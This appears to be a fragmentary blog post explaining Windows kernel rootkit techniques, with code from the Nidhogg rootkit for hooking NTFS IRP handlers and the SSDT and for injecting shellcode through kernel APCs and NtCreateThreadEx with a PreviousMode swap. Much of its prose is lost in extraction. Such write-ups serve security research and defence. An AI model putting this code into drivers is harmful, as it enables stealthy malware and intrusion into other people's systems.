Prologue
IRP Hooking
IRP Reminder
Header, or fixed part of the packet — This is used by the I/O manager to store information about the original request.
I/O stack locations — Stack location contains the parameters, function codes, and context used by the corresponding driver to determine what it is supposed to be doing." - Microsoft Docs
MajorFunction
) is a member inside the DRIVER_OBJECT
that contains the mapping between the IRP and the function that should handle the IRP.1
NTSTATUS IrpHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp);
1
DriverObject->MajorFunction[IRP_CODE] = IrpHandler;
IRP_MJ_DEVICE_CONTROL - Used to handle communication with the driver.
IRP_MJ_CREATE - Used to handle Zw/NtOpenFile calls to the driver.
IRP_MJ_CLOSE - Used to handle (among other things) Zw/NtClose calls to the driver.
IRP_MJ_READ - Used to handle Zw/NtReadFile calls to the driver.
IRP_MJ_WRITE - Used to handle Zw/NtWriteFile calls to the driver.
Implementing IRP Hooking
IRP_MJ_CREATE
handler of the NTFS driver to prevent file opening.IRP_MJ_CREATE
hook from Nidhogg:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
NTSTATUS FileUtils::InstallNtfsHook(int irpMjFunction) {
UNICODE_STRING ntfsName;
PDRIVER_OBJECT ntfsDriverObject = nullptr;
NTSTATUS status = STATUS_SUCCESS;
RtlInitUnicodeString(&ntfsName, L"\\FileSystem\\NTFS");
status = ObReferenceObjectByName(&ntfsName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&ntfsDriverObject);
if (!NT_SUCCESS(status))
return status;
switch (irpMjFunction) {
case IRP_MJ_CREATE: {
this->Callbacks[0].Address = (PVOID)InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[IRP_MJ_CREATE], (LONG64)HookedNtfsIrpCreate);
this->Callbacks[0].Activated = true;
break;
}
default:
status = STATUS_NOT_SUPPORTED;
}
ObDereferenceObject(ntfsDriverObject);
return status;
}
DriverObject
because it stores the MajorFunction table (as mentioned before), this can be done with the ObReferenceObjectByName
and the symbolic link to NTFS. IRP_MJ_CREATE
with InterlockedExchange64
(NOTE: InterlockedExchange64
was used and not simply overwriting to make sure the function is not currently in used to prevent potential BSOD and other problems).Hooking IRPs in 2023
CRITICAL_STRUCTURE_CORRUPTION
error code.SSDT Hooking
What is SSDT
nt!KiServiceTable
command in WinDBG or can be located dynamically via pattern searching.1
functionAddress = KiServiceTable + (KiServiceTable[syscallIndex] >> 4)
Implementing SSDT Hooking
NtCreateFile
address in the SSDT to point to their own malicious NtCreateFile
. To do that, several steps need to be made:Find the address of SSDT.
Find the address of the wanted function in the SSDT by its syscall.
Change the entry in the SSDT to point to the malicious function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
NTSTATUS MemoryUtils::GetSSDTAddress() {
ULONG infoSize = 0;
PVOID ssdtRelativeLocation = NULL;
PVOID ntoskrnlBase = NULL;
PRTL_PROCESS_MODULES info = NULL;
NTSTATUS status = STATUS_SUCCESS;
UCHAR pattern[] = "\x4c\x8d\x15\xcc\xcc\xcc\xcc\x4c\x8d\x1d\xcc\xcc\xcc\xcc\xf7";
// Getting ntoskrnl base first.
status = ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &infoSize);
// ...
PRTL_PROCESS_MODULE_INFORMATION modules = info->Modules;
for (ULONG i = 0; i < info->NumberOfModules; i++) {
if (NtCreateFile >= modules[i].ImageBase && NtCreateFile < (PVOID)((PUCHAR)modules[i].ImageBase + modules[i].ImageSize)) {
ntoskrnlBase = modules[i].ImageBase;
break;
}
}
if (!ntoskrnlBase) {
ExFreePoolWithTag(info, DRIVER_TAG);
return STATUS_NOT_FOUND;
}
// ...
PIMAGE_SECTION_HEADER firstSection = (PIMAGE_SECTION_HEADER)(ntHeaders + 1);
for (PIMAGE_SECTION_HEADER section = firstSection; section < firstSection + ntHeaders->FileHeader.NumberOfSections; section++) {
if (strcmp((const char*)section->Name, ".text") == 0) {
ssdtRelativeLocation = FindPattern(pattern, 0xCC, sizeof(pattern) - 1, (PUCHAR)ntoskrnlBase + section->VirtualAddress, section->Misc.VirtualSize, NULL, NULL);
if (ssdtRelativeLocation) {
status = STATUS_SUCCESS;
this->ssdt = (PSYSTEM_SERVICE_DESCRIPTOR_TABLE)((PUCHAR)ssdtRelativeLocation + *(PULONG)((PUCHAR)ssdtRelativeLocation + 3) + 7);
break;
}
}
}
ExFreePoolWithTag(info, DRIVER_TAG);
return status;
}
ntoskrnl
base based on the location of NtCreateFile
. After the base of ntoskrnl
was achieved all is left to do is to find the pattern within the .text
section of it. The pattern gives the relative location of the SSDT and with a simple calculation based on the relative offset the location of the SSDT is achieved.syscall
can be used as well but it is bad practice for forward compatibility) and then access the right location in the SSDT (as mentioned here).1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
PVOID MemoryUtils::GetSSDTFunctionAddress(CHAR* functionName) {
KAPC_STATE state;
PEPROCESS CsrssProcess = NULL;
PVOID functionAddress = NULL;
ULONG index = 0;
UCHAR syscall = 0;
ULONG csrssPid = 0;
NTSTATUS status = NidhoggProccessUtils->FindPidByName(L"csrss.exe", &csrssPid);
if (!NT_SUCCESS(status))
return functionAddress;
status = PsLookupProcessByProcessId(ULongToHandle(csrssPid), &CsrssProcess);
if (!NT_SUCCESS(status))
return functionAddress;
// Attaching to the process's stack to be able to walk the PEB.
KeStackAttachProcess(CsrssProcess, &state);
PVOID ntdllBase = GetModuleBase(CsrssProcess, L"\\Windows\\System32\\ntdll.dll");
if (!ntdllBase) {
KeUnstackDetachProcess(&state);
ObDereferenceObject(CsrssProcess);
return functionAddress;
}
PVOID ntdllFunctionAddress = GetFunctionAddress(ntdllBase, functionName);
if (!ntdllFunctionAddress) {
KeUnstackDetachProcess(&state);
ObDereferenceObject(CsrssProcess);
return functionAddress;
}
// Searching for the syscall.
while (((PUCHAR)ntdllFunctionAddress)[index] != RETURN_OPCODE) {
if (((PUCHAR)ntdllFunctionAddress)[index] == MOV_EAX_OPCODE) {
syscall = ((PUCHAR)ntdllFunctionAddress)[index + 1];
}
index++;
}
KeUnstackDetachProcess(&state);
if (syscall != 0)
functionAddress = (PUCHAR)this->ssdt->ServiceTableBase + (((PLONG)this->ssdt->ServiceTableBase)[syscall] >> 4);
ObDereferenceObject(CsrssProcess);
return functionAddress;
}
csrss
(a process that will always run and has ntdll
) loaded and finding the location of the function inside ntdll
. After it finds the location of the function inside ntdll
, it searches for the last mov eax, [variable]
pattern to make sure it finds the syscall number.Hooking SSDT in 2023
syscalls
as substitution.APC Injection
The thread should be alertable.
The shellcode should be accessible from the user mode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
NTSTATUS MemoryUtils::InjectShellcodeAPC(ShellcodeInformation* ShellcodeInfo) {
// ...
NTSTATUS status = STATUS_SUCCESS;
SIZE_T shellcodeSize = ShellcodeInfo->ShellcodeSize;
// ...
// Find APC suitable thread.
status = FindAlertableThread(pid, &TargetThread);
do {
// ...
// Allocate and write the shellcode.
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
cid.UniqueProcess = pid;
cid.UniqueThread = NULL;
status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cid);
if (!NT_SUCCESS(status))
break;
status = ZwAllocateVirtualMemory(hProcess, &shellcodeAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);
if (!NT_SUCCESS(status))
break;
shellcodeSize = ShellcodeInfo->ShellcodeSize;
status = KeWriteProcessMemory(ShellcodeInfo->Shellcode, TargetProcess, shellcodeAddress, shellcodeSize, UserMode);
if (!NT_SUCCESS(status))
break;
// Create and execute the APCs.
ShellcodeApc = (PKAPC)AllocateMemory(sizeof(KAPC), false);
PrepareApc = (PKAPC)AllocateMemory(sizeof(KAPC), false);
if (!ShellcodeApc || !PrepareApc) {
status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
KeInitializeApc(PrepareApc, TargetThread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)PrepareApcCallback, NULL, NULL, KernelMode, NULL);
KeInitializeApc(ShellcodeApc, TargetThread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)ApcInjectionCallback, NULL, (PKNORMAL_ROUTINE)shellcodeAddress, UserMode, ShellcodeInfo->Parameter1);
if (!KeInsertQueueApc(ShellcodeApc, ShellcodeInfo->Parameter2, ShellcodeInfo->Parameter3, FALSE)) {
status = STATUS_UNSUCCESSFUL;
break;
}
if (!KeInsertQueueApc(PrepareApc, NULL, NULL, FALSE)) {
status = STATUS_UNSUCCESSFUL;
break;
}
if (PsIsThreadTerminating(TargetThread))
status = STATUS_THREAD_IS_TERMINATING;
} while (false);
// ...
return status;
}
Alertable
bit and the thread's ThreadFlags
's GUI bit, if a thread is alertable and isn't GUI related it is suitable).CreateThread Injection
KernelMode
and restoring it once the thread has been created. (the full implementation is here)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
NTSTATUS MemoryUtils::InjectShellcodeThread(ShellcodeInformation* ShellcodeInfo) {
// ...
SIZE_T shellcodeSize = ShellcodeInfo->ShellcodeSize;
HANDLE pid = UlongToHandle(ShellcodeInfo->Pid);
NTSTATUS status = PsLookupProcessByProcessId(pid, &TargetProcess);
// ...
status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cid);
do {
if (!NT_SUCCESS(status))
break;
status = ZwAllocateVirtualMemory(hProcess, &remoteAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);
if (!NT_SUCCESS(status))
break;
shellcodeSize = ShellcodeInfo->ShellcodeSize;
status = KeWriteProcessMemory(ShellcodeInfo->Shellcode, TargetProcess, remoteAddress, shellcodeSize, UserMode);
if (!NT_SUCCESS(status))
break;
// Making sure that for the creation the thread has access to kernel addresses and restoring the permissions right after.
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
PCHAR previousMode = (PCHAR)((PUCHAR)PsGetCurrentThread() + THREAD_PREVIOUSMODE_OFFSET);
CHAR tmpPreviousMode = *previousMode;
*previousMode = KernelMode;
status = this->NtCreateThreadEx(&hTargetThread, THREAD_ALL_ACCESS, &objAttr, hProcess, (PTHREAD_START_ROUTINE)remoteAddress, NULL, 0, NULL, NULL, NULL, NULL);
*previousMode = tmpPreviousMode;
} while (false);
// ...
return status;
}
KernelMode
and calling NtCreateThreadEx
to create a thread inside the target process and restoring it to the original previous mode right after.